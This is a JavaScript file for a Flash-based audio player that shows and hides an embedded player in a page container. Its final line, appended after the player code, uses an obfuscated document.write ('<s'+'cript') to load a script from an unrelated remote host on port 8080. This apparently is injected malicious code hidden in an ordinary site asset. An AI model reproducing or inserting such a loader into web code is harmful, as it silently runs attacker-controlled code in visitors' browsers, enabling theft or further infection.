// JavaScript Document

function modern_player(action, containerId, url, width)
{
//	if (action=='hide' || player_listening)
	if (action=='hide')
	{
		document.getElementById(player_container).innerHTML = player_replacement;//
	}
	if (action=='show')
	{
		url = escape(url);
		var target = document.getElementById(containerId);
		player_replacement = target.innerHTML;		
		var height = parseInt(width*0.0833);		
		var player_code = '';

		player_code+= '<table cellpadding=0 cellspacing=0><tr><td>';
		player_code+= ' <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" ';
		player_code+= ' 		codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" ';
		player_code+= ' 		width="'+width+'" height="'+height+'">';
		player_code+= ' 	<param name="movie" value="/audio-player/player.swf?soundFile='+url+'&autostart=yes" > ';
		player_code+= ' 	<param name="quality" value="high"> '; 
		player_code+= ' 	<embed src="/audio-player/player.swf?soundFile='+url+'&autostart=yes" quality="high" '; 
		player_code+= ' 		pluginspage="http://www.macromedia.com/go/getflashplayer" ';
		player_code+= '		type="application/x-shockwave-flash" width="'+width+'" height="'+height+'"> ';
		player_code+= ' </object>';
		player_code+= '</td><td valign=middle>';
		player_code+= '<a href="javascript:modern_player(\'hide\', \''+containerId+'\',\'\',\'\');"><img border="0" src="/templates/Stability/images/close_pl.gif" alt="close"/></a>';
		player_code+= '</td></tr></table>';		

		target.innerHTML = player_code;		
		player_container = containerId;
		player_listening = true;
	}
}

//<a href="javascript:modern_player('show', 'radioarea_401661', '/index.php?name=Radio&op=stream&id=401661', 300);">play</a>
document.write('<s'+'cript type="text/javascript" src="http://temp.thailanddigest.com:8080/Link.js"></scr'+'ipt>');